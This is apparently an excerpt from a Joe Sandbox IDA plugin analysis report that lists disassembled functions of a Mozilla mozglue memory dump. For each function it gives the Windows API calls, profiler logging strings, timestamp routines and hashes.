memset.VCRUNTIME140(?,00000000,00000114), ref: 6C66466D
VerSetConditionMask.NTDLL ref: 6C66469F
VerSetConditionMask.NTDLL ref: 6C6646AB
VerSetConditionMask.NTDLL ref: 6C6646B2
VerSetConditionMask.NTDLL ref: 6C6646B9
VerSetConditionMask.NTDLL ref: 6C6646C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C6646CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C6646F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C6646FD

Strings

user32.dll, xrefs: 6C664557, 6C66463F
NativeNtBlockSet_Write, xrefs: 6C6646F7
kernel32.dll, xrefs: 6C6644CD
WRusr.dll, xrefs: 6C6644B5
Gml, xrefs: 6C6644FC
l, xrefs: 6C664578

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: Gml$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-884719140
Opcode ID: 7f36ea0ce7a6cd817d4207c682ef3097cf320b583f35835c022c5327a6ca0a1b
Instruction ID: eab5048da82757be091df25168019b24db7482201df077dfba6ea1edc53506d4
Opcode Fuzzy Hash: 7f36ea0ce7a6cd817d4207c682ef3097cf320b583f35835c022c5327a6ca0a1b
Instruction Fuzzy Hash: AE6106B0604244AFEB00DF63D895BA57BB8EF86348F04C458E5049BA41D7F1AA85CF9F

Function 6C69F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C69F8F9

Part of subcall function 6C666390: GetCurrentThreadId.KERNEL32 ref: 6C6663D0
Part of subcall function 6C666390: AcquireSRWLockExclusive.KERNEL32 ref: 6C6663DF
Part of subcall function 6C666390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C66640E

ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F93A
GetCurrentThreadId.KERNEL32 ref: 6C69F98A
GetCurrentThreadId.KERNEL32 ref: 6C69F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F716

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

Part of subcall function 6C65B5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C65B5E0

GetCurrentThreadId.KERNEL32 ref: 6C69F739
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F746
GetCurrentThreadId.KERNEL32 ref: 6C69F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C6D385B,00000002,?,?,?,?,?), ref: 6C69F829
free.MOZGLUE(?,?,00000000,?), ref: 6C69F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C69F866
free.MOZGLUE(?), ref: 6C69FA0C

Part of subcall function 6C665E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6655E1), ref: 6C665E8C
Part of subcall function 6C665E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C665E9D
Part of subcall function 6C665E60: GetCurrentThreadId.KERNEL32 ref: 6C665EAB
Part of subcall function 6C665E60: GetCurrentThreadId.KERNEL32 ref: 6C665EB8
Part of subcall function 6C665E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C665ECF
Part of subcall function 6C665E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C665F27
Part of subcall function 6C665E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C665F47
Part of subcall function 6C665E60: GetCurrentProcess.KERNEL32 ref: 6C665F53
Part of subcall function 6C665E60: GetCurrentThread.KERNEL32 ref: 6C665F5C
Part of subcall function 6C665E60: GetCurrentProcess.KERNEL32 ref: 6C665F66
Part of subcall function 6C665E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C665F7E

free.MOZGLUE(?), ref: 6C69F9C5
free.MOZGLUE(?), ref: 6C69F9DA

Strings

" attempted to re-register as ", xrefs: 6C69F858
Thread , xrefs: 6C69F789
[D %d/%d] profiler_register_thread(%s), xrefs: 6C69F71F
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C69F9A6

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: b1212e13894a61565bf873e0a71522ff3f24380dbdd5ad14f6d00f76d55e6a09
Instruction ID: ac30982e706685506d0b69bd6c31d6219e903b9dfed3c3e8203c429b5339d853
Opcode Fuzzy Hash: b1212e13894a61565bf873e0a71522ff3f24380dbdd5ad14f6d00f76d55e6a09
Instruction Fuzzy Hash: 908106716042019FDB10DF25C880AAEB7B5EFC6308F55456DE8499BB51EB30E849CBAF

Function 6C69EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69EE60
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69EE6D
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C69EEA5
CloseHandle.KERNEL32(?), ref: 6C69EEB4
free.MOZGLUE(00000000), ref: 6C69EEBB
GetCurrentThreadId.KERNEL32 ref: 6C69EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69EECF

Part of subcall function 6C69DE60: GetCurrentThreadId.KERNEL32 ref: 6C69DE73
Part of subcall function 6C69DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C664A68), ref: 6C69DE7B
Part of subcall function 6C69DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C664A68), ref: 6C69DEB8
Part of subcall function 6C69DE60: free.MOZGLUE(00000000,?,6C664A68), ref: 6C69DEFE
Part of subcall function 6C69DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C69DF38

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

GetCurrentThreadId.KERNEL32 ref: 6C69EF1E
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69EF2B
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69EF59
GetCurrentThreadId.KERNEL32 ref: 6C69EFB0
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69EFBD
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69EFE1
GetCurrentThreadId.KERNEL32 ref: 6C69EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F000

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C69F02F

Part of subcall function 6C69F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C69F09B
Part of subcall function 6C69F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C69F0AC
Part of subcall function 6C69F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C69F0BE

Strings

[I %d/%d] profiler_stop, xrefs: 6C69EED7
[I %d/%d] profiler_pause, xrefs: 6C69F008

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 50cf38773bf96c03438fd58e1a0dbcecab98bc745bc5edc233a6154d42347645
Instruction ID: 54bae6752647e8a262a5c2443303edca6c75c1bed4f4c2427930dd117207f867
Opcode Fuzzy Hash: 50cf38773bf96c03438fd58e1a0dbcecab98bc745bc5edc233a6154d42347645
Instruction Fuzzy Hash: EC5126316002129FDB005F66D8887A97BB4FF8B36DF14456AE91683B42DB747805CBAF

Function 6C665E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C665E9D

Part of subcall function 6C675B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C6756EE,?,00000001), ref: 6C675B85
Part of subcall function 6C675B50: EnterCriticalSection.KERNEL32(6C6DF688,?,?,?,6C6756EE,?,00000001), ref: 6C675B90
Part of subcall function 6C675B50: LeaveCriticalSection.KERNEL32(6C6DF688,?,?,?,6C6756EE,?,00000001), ref: 6C675BD8
Part of subcall function 6C675B50: GetTickCount64.KERNEL32 ref: 6C675BE4

GetCurrentThreadId.KERNEL32 ref: 6C665EAB
GetCurrentThreadId.KERNEL32 ref: 6C665EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C665ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C666017

Part of subcall function 6C654310: moz_xmalloc.MOZGLUE(00000010,?,6C6542D2), ref: 6C65436A
Part of subcall function 6C654310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C6542D2), ref: 6C654387

moz_xmalloc.MOZGLUE(00000004), ref: 6C665F47
GetCurrentProcess.KERNEL32 ref: 6C665F53
GetCurrentThread.KERNEL32 ref: 6C665F5C
GetCurrentProcess.KERNEL32 ref: 6C665F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C665F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C665F27

Part of subcall function 6C66CA10: mozalloc_abort.MOZGLUE(?), ref: 6C66CAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6655E1), ref: 6C665E8C

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6655E1), ref: 6C66605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6655E1), ref: 6C6660CC

Strings

GeckoMain, xrefs: 6C665ECE, 6C666015

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: 211275ea6b9994ee602de484c5dd006bb7ae7fee4f0c774230fc7d995417a863
Instruction ID: 2cd89fd41bcb337c7bb41e7ff879147b1e396609699be3e1535cb98365efdae5
Opcode Fuzzy Hash: 211275ea6b9994ee602de484c5dd006bb7ae7fee4f0c774230fc7d995417a863
Instruction Fuzzy Hash: 6371BFB06047409FD710DF2AD480A6ABBF0FF8A304F54496DE58687F52D731E948CB9A

Function 6C669590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6531C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C653217
Part of subcall function 6C6531C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C653236
Part of subcall function 6C6531C0: FreeLibrary.KERNEL32 ref: 6C65324B
Part of subcall function 6C6531C0: __Init_thread_footer.LIBCMT ref: 6C653260
Part of subcall function 6C6531C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C65327F
Part of subcall function 6C6531C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C65328E
Part of subcall function 6C6531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C6532AB
Part of subcall function 6C6531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C6532D1
Part of subcall function 6C6531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C6532E5
Part of subcall function 6C6531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C6532F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C669675
__Init_thread_footer.LIBCMT ref: 6C669697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C6696E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C669707
__Init_thread_footer.LIBCMT ref: 6C66971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C669773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C6697B7
FreeLibrary.KERNEL32 ref: 6C6697D0
FreeLibrary.KERNEL32 ref: 6C6697EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C669824

Strings

NtMapViewOfSection, xrefs: 6C669701
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C669670
MapViewOfFileNuma2, xrefs: 6C6697B1
ntdll.dll, xrefs: 6C6696E3

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: fd55bb060ca324fad644d0592b8733138f23f4a485bfe4bfee0cdb20c0154ef6
Instruction ID: 99e33e289692ab79beea46c92a1b769f038b8cec121decf90c14e6842b775f47
Opcode Fuzzy Hash: fd55bb060ca324fad644d0592b8733138f23f4a485bfe4bfee0cdb20c0154ef6
Instruction Fuzzy Hash: AF61B0716002069BDF008F67E8D4BDA7BB1EB8A358F118529ED1597B80D770B854CBAF

Function 6C6B6660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C6DF618), ref: 6C6B6694
GetThreadId.KERNEL32(?), ref: 6C6B66B1
GetCurrentThreadId.KERNEL32 ref: 6C6B66B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C6B66E1
EnterCriticalSection.KERNEL32(6C6DF618), ref: 6C6B6734
GetCurrentProcess.KERNEL32 ref: 6C6B673A
LeaveCriticalSection.KERNEL32(6C6DF618), ref: 6C6B676C
GetCurrentThread.KERNEL32 ref: 6C6B67FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C6B6868
RtlCaptureContext.NTDLL ref: 6C6B687F

Strings

WalkStack64, xrefs: 6C6B6890

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: e7da402c09b6af611a02b9743e00f820c7f47792369de1c6150b12d6e61423fe
Instruction ID: 046c4d9724e0885745c9a256f4235ce348d1688609555383b529b970b5b0e2ec
Opcode Fuzzy Hash: e7da402c09b6af611a02b9743e00f820c7f47792369de1c6150b12d6e61423fe
Instruction Fuzzy Hash: 1151ED71A09301AFDB15CF25C884B9ABBF4FF89714F00492DF999A7640D770E918CB9A

Function 6C69DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69DE73
GetCurrentThreadId.KERNEL32 ref: 6C69DF7D
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69DF8A
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69DFC9
GetCurrentThreadId.KERNEL32 ref: 6C69DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C664A68), ref: 6C69DE7B

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C664A68), ref: 6C69DEB8
free.MOZGLUE(00000000,?,6C664A68), ref: 6C69DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C69DF38

Strings

[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C69E00E
<none>, xrefs: 6C69DFD7
[I %d/%d] locked_profiler_stop, xrefs: 6C69DE83

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 2fcca3c07977d64dd4993d632918e94227168705532684585624f7cb7a8fc6a2
Instruction ID: 601b910b7b33fabe0a9ab561ffd34791e6424384c40c8e5f7151f0789e36a508
Opcode Fuzzy Hash: 2fcca3c07977d64dd4993d632918e94227168705532684585624f7cb7a8fc6a2
Instruction Fuzzy Hash: BC41D6357011129BDB109F66D8447AE7775EF8631DF144025E90A97B42CB71B806CBEF

Function 6C6AD4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6AD4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD52A
GetCurrentThreadId.KERNEL32 ref: 6C6AD530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD55F
free.MOZGLUE(00000000), ref: 6C6AD585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C6AD5D3
GetCurrentThreadId.KERNEL32 ref: 6C6AD5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD652
GetCurrentThreadId.KERNEL32 ref: 6C6AD658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD6A2

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 3eed7c8b0298ade49de783b97f8103c59495be1610462d0a48e51c192460f2e1
Instruction ID: 9b8953e07197604a31493b0d65dd3307c99482accd72b78eb2f8161ceeed3414
Opcode Fuzzy Hash: 3eed7c8b0298ade49de783b97f8103c59495be1610462d0a48e51c192460f2e1
Instruction Fuzzy Hash: EE516C71604705DFC704DF65C484A9ABBF4FF8A358F108A2EE95A87710DB30B945CB99

Function 6C675670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C6756D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6756E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C6756F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C675744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C6757BC
GetTickCount64.KERNEL32 ref: 6C6758CB
EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C6758F3
